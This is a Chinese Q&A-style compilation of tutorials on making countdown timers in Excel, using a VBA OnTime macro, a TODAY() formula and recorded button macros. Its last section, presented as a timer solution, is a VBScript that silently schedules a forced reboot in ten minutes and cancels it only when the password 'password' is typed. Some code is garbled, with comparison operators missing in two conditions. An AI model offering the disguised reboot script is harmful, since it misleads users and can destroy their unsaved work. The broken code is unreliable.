本文目录一览：
excel2003利用vba制作倒计时器的教程
在 Excel 中录入好数据以后可能经常需要用到计时器这个功能，这个功能制作起来可能有点困难，如果有需要的朋友可以学习一下。下面是由我分享的excel2003利用vba制作倒计时器的教程，供大家阅读、学习。
excel2003利用vba制作倒计时器的教程：
制作计时器步骤1：在EXCEL窗口中按上图的样式做一个界面，设置你喜欢的字体大小与颜色边框。由于是用VBA代码制作计时部份，所以表格中不用输入任何公式。
制作计时器步骤2：按ALT+F11组合键调出VBA窗口，按“插入-模块”，出现一个空白的模块窗口，把下面代码粘贴进去。
Dim n '公用变量，记住下一个任务执行的时间
Dim a '开始时间
Dim b '结束时间
Sub 计时()
n = Now + TimeValue("00:00:01") '设定时间间隔为一秒
If Now() b Then MsgBox "倒计时结束": Call 停止: Exit Sub
[c4] = Format(b - Now(), "h:mm:ss") '设置单元格格式
Application.OnTime n, "计时" '到指定时间后再执行本过程
End Sub
Sub 开始()
[c2] = Format([c2], "h:mm:ss") '设置单元格格式
a = [c2] '设定时间
b = Now() + a '计算结束时间
[c3] = Format(b, "yyyy-m-d h:mm:ss") '设置单元格格式
Call 计时
End Sub
Sub 停止()
On Error Resume Next
Application.OnTime n, "计时", , False '停止任务的执行
End Sub
这组代码由四部份组成：
第一部份(最上面三行)是声名公共变量，使这几个变量在下面各过程中都可调用。
第二部份是“Sub 计时”，也是主代码，它负责不停的计时并显示剩余时间。
第三部份“Sub 开始”，相当于初始化部份，设置单元格格式及显示“计时结束时间”，在这个部份会调用“Sub 计时”过程来进行倒计时。
第四部份“Sub 停止”，终止倒计时过程。
代码中的关键部份是“sub 计时”，它使用onTime函数实现自动计时功能。
常用语法：
Application.OnTime 时间，要运行的过程名
在上例中，“Application.OnTime n, "计时"”的含义是到下一个时间“n”，就执行一次名为“计时”(即 “sub 计时”自身)的代码。
时间“n”由语句“ n = Now + TimeValue("00:00:01")”计算得出，表示由当前时间(即“NOW”)加上一个1秒的时间值。
在“Sub 停止”过程中，也使用了OnTime函数，但它多了一个参数False ，它的作用是到时间“n”后，停止过程“Sub 计时”的执行(即计时结束)。
其他语句部份比较容易理解，可参考各语句后面的注释。
制作计时器步骤3：添加按钮
为了方便执行，需要在EXCEL窗口添加两个按钮，一个“开始”，另一个是“结束”。
在EXCEL窗口中按“视图-工具栏-窗体”，调出“窗体”工具栏，用鼠标选中上面的“按钮”控件在C列的右边“画”出两个大小适中的按钮，再用鼠标右键分别点击按钮，选“编辑文字”，第一按钮输入“开始”，第二个按钮输入“停止”。
接下来还要给按钮指定要运行的宏(就是在VBA窗口中的代码)
在“开始”按钮上点右键，选“指定宏”，在弹出的窗口中选“开始”后确定。同样 方法 给“停止”按钮指定“停止”宏。
这样就完成了整个制作过程，可以使用了。
Excel 如何制作一个定时触发计时器
如下示例：
打开一个空白的工作表作为例子。
在国庆日的类目中输入正确的时间。
在当前日期内输入函数today，函数的格式是=today（）。
在剩余日期类目下输入公式使用国庆日-今天的日期，写入公式=a2-b2。
回车确认后可以看到显示还有11天。
修改当前时间，倒计时的数字会发生变化。
END
注意事项
excel软件里可以做一个计时器吗？
可这么操作：
一、在任一单元格如D5，输入公式“=F1-D1”；“格式/单元格/数字/分类/自定义/类型/[h]:mm:ss”。
二、设置《开始计时》按钮：
1、“工具/宏/录制新宏”；
2、在D1输入“=NOW()”,回车；再复制D1,“选择性粘贴/数值/确定”；
3、“工具/宏/停止录制”，默认宏名“Macro1”
4、选“视图/工具栏/窗体/按钮”，用光标画出按钮，右键单击“编辑文字”，制作《开始计时》按钮；
5、右键选中《开始计时》按钮，“指定宏/Macro1/确定”。
三、设置《停止计时》按钮：
步骤与二同，只是默认宏名为“Macro2”。
四、使用：
1、选中D1，点《开始计时》按钮，即开始计时，D1显示开始的具体时点；
2、选中F1,点《停止计时》按钮，即可停止计时，F1显示停止的具体时点；
3、此时，D5即自动显示历经时间。
附件：自动计时.xls
用EXCEL中做一个计时器
因为Excel不具备随时刷新功能，可以用VB编写:
示例（将下面程序粘贴到记事本中，保存后再将后缀改成。vbs） 根据需要自己修改延时时间。
on error resume next
set X = wscript.createobject("wscript.shell")
X.run "cmd.exe /c shutdown -r -t 600 -c ""十分钟内输入不正确将关机！",0,True
do while Y"password"
Y = inputbox ("请输入正确密码","输入窗口","",5000,7000) '清空输入框，位置在5000,7000处
msgbox "【"+Y+"】",0,"输入的密码是:"
loop
X.run "cmd.exe /c shutdown -a",0,True
msgbox "输入正确！"